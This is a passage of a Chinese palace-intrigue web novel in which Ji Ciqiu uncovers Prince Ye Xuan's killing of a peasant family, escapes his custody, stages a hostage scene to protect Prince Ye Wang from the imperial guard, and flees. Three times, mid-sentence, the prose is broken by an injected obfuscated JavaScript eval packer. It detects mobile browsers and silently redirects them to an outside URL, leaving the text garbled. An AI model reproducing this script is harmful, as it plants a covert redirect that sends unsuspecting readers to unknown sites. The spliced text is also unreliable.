一道戏谑的笑声响起，叶玄眯眼打量她，忽地钳制住她的下颌，微微用力，迫使她抬头。 “撒谎。” 下颌隐隐生痛，季辞秋直视他的狭长的凤目，稳住声音：“卑职所言，全凭殿下相信与否。若不信，卑职无话可说。” “牙尖嘴利，”叶玄将她的脸狠狠撇向一边，松了手，“让本王猜猜，你为何隐瞒。” “是觉得帮了晋王能捞点好处，还是给自己留条退路？” “不然，总不会是你自以为晋王与你爹交情匪浅，指望他来救你吧？” 季辞秋唇线绷成一条苍白的直线，良久抬起头：“倘若都不是呢？” “哦？”叶玄移回视线，饶有趣味。 “千金坊借着官府的阴蔽，背地里仗势欺人，无恶不作，不知毁了多少家庭，害了多少无辜性命。我看不下去，想替天行道，就这么简单。” “替天行道？”叶玄忍俊不禁，嗤笑道，“你怎知那些性命是无辜的，依本王看，不过是心存邪念，被挑明了罢了。” “所以那些人就该死？” 叶玄皱了皱眉，满不在乎道：“群雄逐鹿，本就是强者生、弱者亡，此等微弱小民的生死，乃天意所为，与本王无关。纠缠其中，只会拖泥带水，于大局百害而无一利。” “所以在殿下眼里，弱者的生死无足轻重吗？”季辞秋顿了顿，低声道。 叶玄沉沉看她一眼，脑中一闪而过久远的噩梦，女子的尖啸声又回荡在耳边，他捏紧拳头，眼中升腾起寒意：“当然，弱者如蝼蚁般轻贱，不值一提，只有强者，才有资格谈论生死，才能决定他人的生死。” “倘若殿下生为微末呢？” “放肆，”叶玄高高在上，低声喝道，“本王是天子血脉，何来微末？你敢对本王不敬？” 季辞秋抿唇不语。 “比起这些，你还是为自己的以后作打算吧，”叶玄轻飘飘扫她一眼，“来人，将她押下去，锁在西院内，好生看管。” “放开我。”季辞秋挣扎起来，胳膊被人朝后扭紧，踉踉跄跄地走着。路过正堂的黄花梨木栅架时，她瞳孔骤缩，死死盯着一处。 “快走！”身后的人蛮力推搡。 她跌跌撞撞地跨过门槛，面如金纸。倘若她没瞧错，方才那格子中躺着的玉玦，与阿黎家中的那块一模一样。 54. 决裂 日入时分，天上飘起细细密密的雨。 “怪了，都这个时辰了，怎么还不回来？”葵生倚着门，看了眼黑沉沉的天，担忧道。 眼看坊门就要关了，他按捺不住，将手中的草结一扔，急匆匆出门。 到了东市的刀剑行，他询问掌柜，得知白轩已取到物件，遂沿着回去的路寻人。 “老人家，可见过一个侍卫装扮的人，身量不高，着黑色束袖衣。”他一路问着，走到安邑坊，见角落里有一头戴草帽的垂钓老人，上前问道。 老者闻言，微微颔首，缓慢道：“貌似瞧见过，跟着几人走了。” 葵生眉心一跳，追问道：“老人家，你可瞧见是何人？” 老者摇头：“背着身，一个个身材魁梧，气势汹汹，我没敢多看。” “是何时的事？” “约莫一个时辰前吧。” 葵生面色微变，匆匆谢过老者，往回赶。 “王爷，白轩不见了。”他方一回府，便急急向叶望禀告。 叶望正于案前抄经，闻言手中一颤。 葵生将事情的来龙去脉同他说了一通，愁着一张脸道：“他别是想不开，离家出走了罢。” “你方才说有人见到她跟着几人走了？”他将笔搁在白玉笔架山上，沉沉道。 葵生点头：“但不知是何人。” 叶望皱了皱眉，心中不受控制地慌乱了一瞬。他强迫自己冷静下来：“既是被人带走，应有其他目的，暂时不会有危险。” “她是本王的人，牵扯之事或许与本王有关。你与青戈近日在坊间打听打听这几人的踪迹，同时留意王府周边，看是否有人来递消息。” “是，”葵生应道，已坐不住，“我这就去同青戈说。” 叶望负手立于窗前，指尖轻轻拂过宣纸，眉目低垂。葵生的话里，她是跟着那群人走的，并非被胁迫。 入府以来，她的身世成谜，行为举止亦可疑，倘若她真是旁人安插在他身边的细作，如今嗅到危险，便逃之夭夭呢。 夜风骤起，寒凉的雨丝斜斜飘入，打在脸上，沁入皮肉，在空荡荡的心里游走，撩起怅然若失的情绪。他抹了把脸，合上栏窗，不再想。 —— “我要见殿下！”季辞秋被锁入屋内，一遍遍拍打着门。 无人应答。 良久一人自廊下而来，轻声道：“王爷歇息了。” “绿蔓！”季辞秋认出来人的声音，眼睛亮了亮，“我问你一事，正堂栅架上的那枚玉玦，你可知从何而来？” 绿蔓愣了愣：“你问这个做什么？” “我瞧着眼熟，想要确认一番，”季辞秋扒着门急急道，“此事于我极为重要，还请姐姐告知。” 绿蔓抿了抿唇：“王爷的事，我不会多说，姑娘还是自己问王爷吧。” 她想了想，又补充道：“明日白日王爷不在府中，姑娘可等戌时过后再问。” “多谢。”季辞秋低声道。 枯坐了一日，眼见天渐渐黑了，府里陆续燃起灯火。她扒着门缝，远远叫守在院中的守卫，好声好气道：“兄台，帮忙问问殿下可有空，我有事相告。” 那守卫起身，面上挂了一丝不耐：“告诉你了，王爷没空，到底要小爷说几遍？” 季辞秋悻悻收回手。 不知过了多久，门外传来守卫殷勤的声音：“王爷来了，人就在里面。” 她猛地起身。 锁扣咔哒一声，门随之洞开。月光清凌凌洒下，叶玄背光立于门外，影子被拉得格外长。 他玩味地看她一眼，慢悠悠开口：“找本王何事？” 季辞秋握了握拳，强压下心头忐忑：“昨日在正堂看见一枚残缺的玉玦，不知殿下从何而来？” 叶玄周身一顿，瞥了她一眼，轻描淡写道：“多年前的旧物，恰巧翻出来了。” “可这枚玉玦，我在广陵见过。”她看着他的眼睛，定定道。 叶玄眉心跳了跳，眯眼看她，似是而非地“哦？”了一声。 “此玉玦乃玉佩一分为二所得，裂纹规整，不会认错。” “你在何处见过？”叶玄捏紧手中的珠串，悠悠道。 “一农户家中，”季辞秋觑着他的脸色道，“说是代同乡保管，不知是何物。” 叶玄原本警觉，闻言微微松了手，神色缓和了些。 季辞秋将他的表情变化看在眼里，心中揪紧，颤声道：“这户人家前不久深夜走水，一家三口死于火中。” “敢问殿下，可知此事？” “你在问本王？”叶玄故作诧异地瞥她一眼，理所当然地摇头，“本王还未曾闲到要管广陵农户的事。” “可农户家中的玉玦出现于此，殿下不打算解释什么吗？”季辞秋穷追不舍。 “本王为何要解释？”叶玄扫她一眼，勾了勾唇，语气警告，“奉劝你还是糊涂些，有些事，知道得越少，活得越久。” “所以不是意外走水，是殿下的人做的，对吗？”季辞秋攥紧拳头，声音沙哑。 叶玄不耐烦地啧了一声，没回答。 季辞秋极其缓慢地抬起头，紧盯着他，自顾自道：“我认识这家人，他们先前是海陵的亭户，后来搬入广陵谋生。家中有三口，姥姥、爹爹和一个小姑娘。” “姥姥年纪大了，记性不好，但能记得我随口说的喜好。爹爹是个铁匠，话不多但很爱笑，为人老实，从不愿占人便宜。小姑娘叫阿黎，生得水灵，画画极有天赋，我们约好了，等她成为名动天下的大画家......”她再也说不下去，五脏六腑撕裂了般，令她几欲干呕，她死死咽下，极其艰难地喘了口气，哑声道，“我不明白这样不起眼的他们究竟能做出何事，叫殿下痛下杀手。” “倒也做不出什么，”叶玄看她一眼，冷声道，“要怪，就怪他们太蠢，拿了不该拿的东西。” “他们只是代为保管，连此物是何都不知。若是不该拿，将玉玦取走便是，何至于杀人灭口？”她痛声道。 “本王怎知他们知不知情？”叶玄反问道，“明者远见于未萌，智者避危于无形，自古上位者皆是如此，季姑娘未曾坐过本王的位子，如何知其中凶险？本王不会留此后患。” 季辞秋死死盯着他，已无意争辩。上位者皆如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047495|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此？去他的上位者，那是三条活生生的人命！ 她看着叶玄的背影，眼中冒出熊熊烈火。电光火石间，她自袖中摸出短匕，几步掠至他身边。 一声玄铁相碰的脆响，成影自暗处猛地跃出，打落她手中寒刃，一把将她摁在地上。 “放开我——”季辞秋剧烈地挣扎着，双目通红，声音嘶哑。 叶玄冷眼看着，心中涌上一丝快意。方才那寒凉刀刃贴上他的脖颈，竟叫他兴奋莫名，甚至有些期待她下一步的动作。只可惜，她还未来得及有下一步。 他慢慢步至她面前，蹲下身子：“你瞧，弱者便是如此，倘若你再强一些，说不定——会更有趣些。” “你真是个变|态。”季辞秋恨恨瞪着他，骂道。 叶玄被这个词逗笑了，似乎极为受用，他勾起她的下巴，缓缓凑近：“这么些年，还从未有人敢对本王如此不敬，你是第一个。” 季辞秋抽了抽嘴角，冷冷撇过脸去。 待人走后，她瘫坐在地上，心中彻底冷静下来。从叶玄的话中可以窥见，那玉玦是枚重要之物，很可能会牵扯到他。可广陵究竟有何事，会牵连到远在京城的叶玄？ 她想起前阵子轰轰烈烈的私盐案，又想起玉玦先前是方建民的海陵同乡所有。难道说，叶玄亦掺和私盐？ 应当不会，她很快否决了此可能。以他的行事风格，若是掺和私盐，必会在她调查前清理掉所有痕迹，而不是在巡按使来之前。 或许，是叶玄手下之人偷偷掺和私盐？叶玄如今所为，像是临时得知此事，替那人收拾烂摊子。甚至来不及细查，匆匆一把火烧了所有可能的证据。 只是，会是谁呢？季辞秋暗暗想，能让叶玄收拾烂摊子，定非等闲之辈，必对他有极为重要的价值。 叶玄盘踞京城，暗中笼络朝中官员，广陵距离甚远，究竟有何物，令他如此看重呢？ 她闭上眼睛，脑中放电影般过了一遍广陵的所见所闻，淮南节度使、铁匠铺、肃风、造纸厂...... 有什么答案呼之欲出，她忽然想起历史书上叶玄的结局，虽未详述，但她记得八个大字，私聚甲兵，暗屯禁械。 时局动荡，最有力的是什么？是军队。这也正是各方先前忌惮叶望的根本所在。 叶玄若想夺位，必要有强劲的兵甲力量做支撑，而驻扎广陵的淮南节度使府，便是这支撑。 只是淮南节度使宋延此次一手彻查私盐，不像是叶玄的人。脑中忽然浮现出另一人，淮南节度副使郭统。她心中一动，照着这个答案捋了一遍。 宋延沉迷练兵多年，郭统借机克扣军饷偷养私兵，是水到渠成之事。也正是如此，叶玄会不惜一切保他。而肃风经营的铁匠铺，怕是借着打铁之名光明正大地锻造兵器——怪不得他从不准她靠近后院。还有那座废弃的造纸厂，她后来得知是郭统私产，如今想来，意外走水亦是叶玄的手笔。 是了，一切便说得通了。她心中砰砰直跳，好久平复下来。 如此大的一盘棋，不知叶望是否知晓？她不由得担忧起来。 不行，她不能坐以待毙，得找个机会告诉他。 55. 摊牌 “西院近来如何？”叶玄忙了一天，消停下来，随口问道。 “回王爷，这几日消停了些，不再对您......出言不敬。” 叶玄眼皮都没抬，拿起侍女端过来的湿帕净手，见成影自府外而来。 “王爷，晋王的人近日频频出现在安邑坊，似在搜寻踪迹。” 他闻言一顿，嗤笑了一声，将湿帕丢回盘上，起身道：“本王去西院一趟。” “王爷，”成影叫住他，语气迟顿，“她先前已起了杀心……” “这不是有你吗？”叶玄不在乎地笑笑，抬脚离开，成影紧跟上去。 季辞秋正于地上打坐，听到铜锁转动的声响，紧接着刺眼的日光照了进来。她用手虚虚挡了一下，眯了眯眼。 叶玄负手迈入，大赖赖地往木椅上一坐，静静看她。 “这院子住得可惯？”他没话找话。 “尚可。”季辞秋干巴巴道。 “季姑娘瞧上去，比前几日冷静了不少。”他斜睨她一眼，嘴角挂着嘲讽的笑意。 季辞秋没动，指甲掐进手心，深呼了一口气，语气和软：“我这几日将殿下所言细细想了一番，发现不无道理。是我一时情绪上头，冲撞了殿下，还望殿下大人不记小人过，给我一个改过自新的机会。” 叶玄见她这副模样，瞥她一眼，轻飘飘道：“季姑娘这就想通了？” “弱肉强食，确是自古至今的生存之道，我现今的处境亦是如此。”她垂眸道。 叶玄看她一眼，懒懒开口：“可本王听说，晋王近日派人在搜寻季姑娘的下落。想不到季姑娘对晋王亦是重要之人。”尾调上扬，溢出一丝酸味。 她肉眼可见地怔愣了一瞬，很快恢复，解释道：“我毕竟是晋王府上的人，平白失踪确是奇怪。” 叶玄没应声，寻回原先的话头：“你说要本王给你机会，可你与本王争执，甚至欲行刺本王，叫本王如何信任于你？” 季辞秋沉默。 “不妨这样，”他等了一会，手虚虚一指院中的守卫，戏谑道，“你将他杀了，我便给你个机会。” 季辞秋诧异抬头，看了一眼脸色骤然煞白的守卫，抿了抿唇：“我与他无冤无仇，何故平白杀他？” “眼下无冤无仇，不代表以后不会，本王既准了你去杀他，你便能杀。”他循循善诱，“怎么样，要不要体验一把决断他人生死的感觉？你会喜欢的。” 季辞秋握紧拳头，身上浮起一层冷汗，她还是低估了叶玄的阴暗程度，他何止是变|态，简直就是个玩世不恭的恶魔。 “别杀我，别杀我。”转眼间攻守之势异，先前趾高气扬的守卫连滚带爬地上前，伏在地上朝她不住磕头。 她心下震颤，撇过脸去。 叶玄见此，颇为失望地摇头，遗憾道：“看来季姑娘并未想通，可惜了。”说着抬脚便欲离开。 “殿下打算一直这样关着我？”她抬起头，望着他的背影，“不怕我再偷袭一次？” 叶玄没转身：“你可以试试。” 季辞秋扯了扯嘴角，盯着石砖铺就的地面，自顾自道：“殿下，你可知晋王与殿下的区别？” 叶玄脚步一顿，微微转头。 “殿下口中，上位者生来高人一等，能肆意主宰他人生死，可晋王不一样。晋王不会凭身份识人，亦不会视民生如草芥。”她的声音提高了些，有意激怒他，“殿下与晋王，便是这太极的阴阳两面，不可共生、难以共存。但阴面终究是阴面，既见不得光，亦上不得台面，终究自食恶果，为世人唾弃。” 叶玄被“唾弃”二字刺到，冷笑一声，讥讽道：“季姑娘与晋王才相识多久，竟要替他来驳斥本王了？他驻守边关多年，保了那么多条命，可有半点用处？一个连兵权都保不住的废人，还轮不到和本王相提并论。” “你且看他如何被本王碾在脚下，一败涂地吧。”他下颌绷紧，猛一振袖离开。 “王爷，真这么一直关着她？”回去的路上，成影迟疑半晌，终是问道。 叶玄看着笔直幽深的廊道没出声，目光阴沉。如今朝中局势已逐渐向他倾斜，晋王孤立无援，根本不是他的对手。识时务者在乎俊杰，他不明白，这女子为何在此时倾轧，竟不顾一切要追随晋王，实在是愚蠢之至。 罢了，强扭的瓜不甜，她既要弃明投暗，便如她所愿。一个念头涌上心头，他眸中翻涌，渐渐沉淀为一片深不见底的寒潭。一丝冰冷的笑意如同毒蛇吐信，在他嘴角无声地蔓延开来。 “将西院的守卫撤掉些。”他懒懒开口。 “什么？”成影一愣。 “她既想逃，那便放她走。” —— 天已黑了，小厮提着灯迟迟来送饭。门推开一道缝，季辞秋朝外看去，才发现不知何时已落雪。 她飞速扫了一眼院门口的守卫，发觉竟少了不少。 她不动声色地收回视线，看着小厮一声不吭地将食盒从缝隙中塞进来，忙不迭地合上门。 季辞秋草草扒了几口，凑到门上，又朝外确认了一下。目之所及，只有两名守卫。 她捏紧衣角，心生一计，抬手哐哐拍了两下门。 “干什么？”守卫不耐烦道，没有上前的意思。 “救命，”季辞秋抖着声，一副惊骇的模样，“这屋里......有脏东西。” 两守卫面色一变，喝道：“休得妄言，这里是齐王府，哪来的脏东西！” “有，有个白衣女子......”她声音弱了弱，“不信你们来看看。” 一守卫咽了咽口水，面上露出怯意，扯了扯旁边人的袖子：“要不先禀告王爷吧，万一她说的是真的......” 另一守卫俨然一副不屑模样：“瞧你这怂样，因为这点事便要叨扰王爷？走，随我去看看。” 那守卫还欲说些什么，见他已大步迈过去，在原地踌躇了几下，硬着头皮跟上。 “快点......快点！”屋内传来女子惊恐的催促声。 “别急，开锁呢。”守卫皱着眉头，声音提高了些。 “咔哒”一声，门应声而开。屋内漆黑一片，二人立于门口，不敢贸然进入。 “我们进来了。”前面的守卫试探叫了一声。没有回应。 他挽了挽袖子，眼神示意身旁之人，二人屏住呼吸，壮着胆迈进去。 寒风顺着洞开的大门闯入，发出瘆人的呼号声，屋内正中摆着一只食盒，被门透过来的光照亮，除此之外，空荡荡一片。 “人呢？”冷汗顺着额头流下，他心觉不妙，正欲回撤，门背后骤然飞出一道黑影。 季辞秋以手笔刀，干脆利落地在二人颈后一点，二人应声倒地。 她将其中一人的短刀顺走，没有犹豫，飞身迈入大雪中。 雪落无声，季辞秋沿着西侧的窄道谨慎走着，寒夜寂静，万物都在沉睡，只余窸窸窣窣的踩雪声。 她猫着腰一路顺畅地走到外院，脚尖点地，自围墙一跃而出。她微微松了口气，不敢停留，躲避着夜巡的坊正，往晋王府赶去。 夜已深，叶望于书房静坐，透过轩窗看雪。这几日，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054130|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈发寒凉，玉梅不知何时已尽数绽开。虬枝覆雪，幽香暗渡窗扉。倘若她还在，定要欢欣鼓舞一番，他默默想。 “王爷，时辰不早了。”黎叔隔着门道，“天气寒凉，早些歇息。” “知道了。”他垂下眼，将桌上的案宗合起，疲惫道，“今夜宿在书房，正屋的暖炉不必点了。” “好。”黎叔应声退下。 躺下未多时，守门急急来报。 “王爷，方才府外有人敲门。” 叶望闻声坐起，心下一动：“何人？” “卑职自门楼上瞧了，似是王府的侍卫......” 叶望已然下床，随手拽了件大氅，见青戈领着一人赶来。 他抬眼看去，大氅披到一半陡然停住，虚虚挂在肩上。 大雪扑簌而下，周遭一切都黯然失声。院子里满是清冷冷的雪光，她就在那片光的中央。 仍是离开前的装束，发丝乱了些，脸颊亦消瘦些。肩头、发上已积了一层雪，将她周身笼上淡淡的光晕，仿佛随时要和这洁白的雪地融在一处，再也寻不见。 他站着没动，就这么隔着大半个庭院，隔着无声飞舞的雪幕，看着她。 寻她的这些日子，他想过许多问题，要当面同她问清。而今见了她，心中只余下失而复得的欢喜，竟忘得一干二净。 季辞秋一路小心谨慎，待入了晋王府，一颗心才稍稍安下。她跟着守门来到清风居，见着叶望，迫不及待地想要告诉他郭统的事，眼眶却一阵发酸，好半天说不出话。 “王爷，我有要事相告。”她强行咽下喉头哽咽，哑声道。 叶望深深看她一眼，屏退左右，默不作声地系好衣裳，转身回屋内。 鎏金铜炉冒着袅袅热气，季辞秋靠近，冻僵的身子缓和了许多，她默了默，在他身后直直跪下。 “何意？”叶望微微侧头，静静看着她，眸中晦暗不明。 她眼一闭心一横，直接摊牌：“我是齐王的人。” 这一句，叫叶望彻底定在原地。他打量着伏在地上语出惊人的人，目光似深潭。 她是叶玄的人。他其实想过这个可能，毕竟这京城与他剑拔弩张、最有可能安插细作在他身边的人，就是齐王了。只是她消失了几日，现如今又突然出现在他面前，直截了当地向他摊牌，意欲何为？他有些看不清了。 “白轩死罪，要杀要剐悉听尊便，但在此之前，我有要事相告，”季辞秋言简意赅，“信与不信，皆在王爷一念。然事关重大，敢请暂驻清听。” 叶望没吭声。 季辞秋将昨日的猜测简要叙述了一番，提醒他务必提防淮南道的兵力异动。 “为何同本王说这些？”他沉默良久，抬眼目光灼灼，似要将人看穿。 “因为......”季辞秋迟疑，想说是为了弥补先前的过失，却又觉步入岐路太久，事到如今谈弥补有些冠冕堂皇，思来想去，只模糊道，“不为什么，只是觉得王爷应该知道。” 叶望又不说话了。 气氛凝滞，忽地几声重重的拍门声响彻府中，声音不是寻常的叩门，是铁包铜的沉重门环被某种钝器一下一下猛力撞击的闷响。 门楼上复又惊醒的守门不耐烦探出头，正欲呵斥，却见门外黑压压一队铁甲，矗立在飘飞的夜雪中。一面玄底金纹的“金吾”大纛，在风中猎猎作响。 “奉圣谕——”沈彻的声音不高，却像冻透的冰棱，清晰锐利地刺破死寂，砸在每一个人心上，“晋王府窝藏贼人，着金吾卫即刻入府，搜查钦命重犯季恪之女。” 56. 挟持 季恪之女。声音不大不小，隔着重檐碧瓦，传到叶望耳里。 一瞬间，脸上血色尽褪。他定定地看着她，仿佛要穿透她此刻的容颜，落在某个旧影上。 长袖中的指节绷紧，泛起青白。“你......”他错愕不已，喉结上下滚动了一下，想说什么，话到嘴边又融进黑夜里。 故人已作黄土，骨血竟在眼前。 胸腔里像被什么重重掏了一把，空落落的疼，紧接着，又被一种滚烫的、酸涩的东西填满，堵得他几乎透不过气来。 季辞秋亦是惊愕万分，怔愣了一瞬，恍然明白了事情始末。好他个叶玄，料到她逃脱后会来晋王府，有意放她离开，好守株待兔，一箭双雕。 她心下恶寒，顾不上僵立在原地的叶望，匆匆要往外跑。 “来不及了。”身后响起沉沉男声，“金吾卫已围了王府，逃不出去。” 她脚步一顿，面色沉了沉。 兵甲声愈来愈近，叶望站至她身前，望着屋外，似是下了很大的决心，语气坚定：“你先躲进里间。” “可是......” “快！”他一把揽住她，不由分说地往里间一送，下一秒，被甲持兵的金吾卫踏入院中。 “晋王殿下，”沈彻上前恭敬一拜，“臣奉旨搜查逃犯，还请殿下配合。”说着眼神示意左右进屋。 “慢着，”叶望手执卷轴，不紧不慢道，“这书房乃本王私地，卷宗众多，岂是尔等可随意翻看？” 沈彻闻言，笑了笑，解释道：“殿下不必担心，金吾卫只搜人，其他分毫不碰。” 叶望却不买账，斜斜睨他一眼：“本王今日一直在此，未见有何贼人。” 沈彻见他存心阻挠，亦不再装，换了副神色，提醒道：“金吾卫此次搜查的逃犯身份特殊，乃反贼季恪之女。朝堂上下皆知殿下与季恪关系匪浅，若一味阻拦，怕是不好吧。” 叶望直直望着他，没有一丝动摇。他当然明白阻拦的后果，他身份敏感，季恪之女出现在晋王府上本就是道死局，而今他只想竭力保她，待金吾卫一撤，立时将她送走，他自请宫中领罪便是。至于以后，他已顾不上那么多。 季辞秋躲在里间的帘幔后，冷汗湿透了脊背。晋王府窝藏季恪之女，单这一条，足以刺痛景帝敏感的神经，叫那些压下去的不满与猜疑死灰复燃，形成更深的、难以跨越的隔阂。她不敢想她露面后，会掀起怎样的惊涛骇浪。 不行，不能坐以待毙。她强迫自己冷静下来。 金吾卫此次深夜前来，是得了消息，说晋王窝藏逃犯。窝藏一词，用心险恶，借着浓浓的主观意味，将晋王与季恪牢牢捆在一起。 倘若晋王府并未窝藏，而是同为受害呢？ 一道灵光闪现，她一个激灵，心中忍不住剧烈跳动起来。 在此之前，叶望并不知她的真实身份，本就谈不上主动包庇，他亦是受她牵连，才至如此境地。而今，只需演一场戏，局面便有转圜之地。 心中豁然开朗，她缓缓抬手，毫不犹豫地扯去脸上的伪装。此番是她连累了他，就让她来还吧。 书房内僵持着，忽地一阵疾风掠过，众人未来得及反应，便见一道虚影自里间跃出，直直扑向晋王。 一柄闪着寒光的利刃抵在叶望喉间，紧跟着，一股熟悉的、清冽的香气自身后袭来。 “殿下！”金吾卫显然未料到此，回过神来，便见一女子以刀挟持晋王，一时惊骇异常，纷纷抽出兵器，剑拔弩张。 “大胆狂徒，竟敢行刺殿下！”沈彻怒喝，欲震慑对面。 “为何不敢？”季辞秋踮着脚，紧扣叶望的脖颈，扬声道，“就是他，陷害了我爹爹，我为父报仇，何罪之有？！” 金吾卫缓缓靠近，她眼一横：“都给我退下！”声音清冽，带着孤注一掷的决绝。 沈彻面色铁青，握着刀柄的手青筋暴起。晋王在那妖女手中，他们投鼠忌器。 “退！”他摆手，厉声道。 金吾卫们互看一眼，阵型开始松动，极为不甘地向后缓缓挪动脚步，铁靴陷入深厚的积雪中，拔出时带起“沙沙”的闷响。 叶望微微仰头，配合着她的步伐缓缓往前。柔软冰凉的身子紧贴着他，呼吸之间尽是她的气息。 刀刃触及脖颈的那一刻，他的心重重一沉，如坠冰窟。 她不要命了？ 向来沉静如深潭的眼眸剧烈晃动，倒映出一瞬间的慌乱。 他双手紧攥成拳，指尖深深陷进掌心。他知道，此刻做什么都是徒劳，只能配合她，演完这场戏。 季辞秋挟持着叶望，步步为营，向那道缺口移动。每一步都踩在刀尖上，她目光如鹰隼，死死锁住每一个金吾卫的动作。 风雪更急了，几乎迷了人眼。 就在她大半身子探出包围圈，后背将将暴露的刹那—— “放箭！”沈彻震声吼道。 数点寒芒撕裂雪幕，直向她扑来。 她瞳孔骤缩，用尽全力，将叶望朝沈彻的方向猛地一推。 这一推，用的是巧劲。叶望身形一个趔趄，数支弩箭“嗖嗖”地擦着他们方才站立的地方飞过，深深钉入院墙，箭尾震颤不止。而她借着这一推的反作用力，如同离弦之箭，向后猛地一仰，背脊贴着积雪，滑入一株老松下。 松枝承受不住重量，积压的雪轰然落下，顿时扬起一片迷蒙的雪雾，短暂遮蔽了视线。 “追！她跑不远！”金吾卫的怒吼和杂乱的踩雪声瞬间炸开，涌向雪松后。 叶望缓缓站直身子，指腹抹过颈侧，带起一丝微凉的刺痛。墨色的大氅沾满泥泞，他看着那抹身影消失的方向，猛地弯腰，吐出一口血。 “王爷！”青戈骇然变色，上前欲扶。 鲜血落在纯白无暇的雪地上，绽开了刺目惊心的血花。他弓着背脊，深不见底的眼眸中，有什么东西碎裂开，翻涌起复杂的、近乎痛楚的幽暗，转瞬又被更深沉的墨色覆盖。 雪下得更大了。 —— 太极宫，沈彻将那晚晋王府之事如实禀告，景帝撩起眼皮看他一眼：“那贼人呢？” “臣失职，贼自水道逃脱，仍在追捕。” “一名女子，竟耍得金吾卫团团转， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065072|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传出去，朕的脸面往哪搁？”景帝皱眉，不悦道。 沈彻连忙跪下，埋头道：“臣已封城搜捕，遣快马携贼人画像，分报京兆府及畿县。” 景帝点头，目光幽深，闪着忽明忽灭的光：“那贼女果真要刺杀晋王？” “是，”他肯定道，“她挟持五殿下与金吾卫对峙，扬言要替父报仇。金吾卫一时不敢妄动，这才令她有了脱身的机会。” “晋王府窝藏重犯的密帖，是何人递过来的？” “回陛下，是姜中丞。” 景帝凝神，御史中丞姜子洵？其人性刚直，素与诸王无交。 “他可有说这消息从何而来？” “说是自御史台公座上的文书中发现，具体来源不知。”沈彻如实道。 景帝眯了眯眼，浑浊的双目浮起寒意。他因着季恪忌惮晋王不假，但并不喜欢有人借此事刻意挑拨。这样的心思，只他一人知就够了。想拿他做争斗中的刀子，太自以为是。 “陛下。”向德弘捧着一鞑子奏折过来，见有人在殿前，躬着身退至一旁。 “讲。”景帝低低咳了一声。 “任仆射连同六部尚书的奏疏......”他看了一眼直直跪在正中的沈彻，没往下说。 景帝习以为常，接过看了看，仍是老生常谈的立储之事，不同于往日，这次他合上奏章，撂在一旁的桌案上，并未原封不动地退回。 —— 延兴门，一列身着银甲的监门卫正挨个检查货物，验看过所。 行刺晋王的重犯逃窜，城中戒严，监门卫的盘查仔细，长长的队伍延伸至桥头，几个性急的人忍不住小声抱怨。 季辞秋垂头在路边一家茶摊坐着，暗中观察形势。 逃跑的涂中，她路过一户人家，顺了晾在外头的一套粗布衣裳，又将头发抓乱，在脸上涂了一层泥，俨然像一个干粗活的劳役。 但她清楚，这副模样经不起细看，要想躲过监门卫的眼睛，仍是不够。且她没有证明身份的“过所”，等同于一个黑户。 “客官，还要加点什么？”小二见她坐了许久，上前询问道。 “不必了。”季辞秋手指一颤，忙背过脸起身，混入人流中。 “让一让，让一让——”桥上一架清漆黑檀木马车驶来，马夫高声吆喝着，人群骚动着分散向两边，腾出一条窄窄的道。 季辞秋全神贯注留意着城门那边的动静，完全没注意身后疾驰而来的马车。一声急急的勒马声，马车剧烈晃动了两下，停在路中央。 “哎呦，出甚么事了？”天青色锦帘拉开一角，张展捂着头抱怨道。 “公子，有人挡道。” 听了此话，他皱眉望去，在那后知后觉避让至一旁的人脸上停留了一瞬，觉着眼熟，又多看了几眼。 “知道了，继续走吧。”他放下帘子，不动声色道。 季辞秋伏着身子，又往边上让了让。马车自她身旁经过，带起一阵风，将车帷掀开了些。 “随我来。”低低的声音自马车上传出，她心下一跳，飞速看了看周围，略一思考，埋头跟了上去。 57. 出城 马车在一道窄巷中停下，张展自帘中探头，环顾了一圈。 “公子，咱们不是要出城吗？”车夫疑惑道。 “这个嘛......”他故意将尾音拖得长长的，眼中闪过一抹灵光，随即合掌轻拍，像是刚刚记起一件要紧事，“我方才想起这块有一家樱桃酪极好，你帮我买一份去。” “那公子在这候着，小的去去就来。”车夫应下，匆匆下车。 “不急不急。”张展追了句。眼见着那车夫消失在巷口，朗声道：“没人了，出来吧。” 季辞秋自转角迟迟而来。 他神色复杂地打量她几眼，想说些什么又不知怎么说，憋了半天索性问道：“你是要出城吗？” 季辞秋一顿，瞥他一眼，没吭声。 “放心，我不会报官的，”他见她犹疑，无奈道，“我要是想拿赏金，方才在城门那吼一嗓子不就成了？” 季辞秋又看他一眼，思索了几秒，点点头。 “眼下监门卫接了上头的命令，严查各城门进出人员，你这幅模样，怕是蒙混不了，”张展皱眉道，“这样吧，我这车舆还算宽敞，你藏进来，再蒙层布，应是可以。” 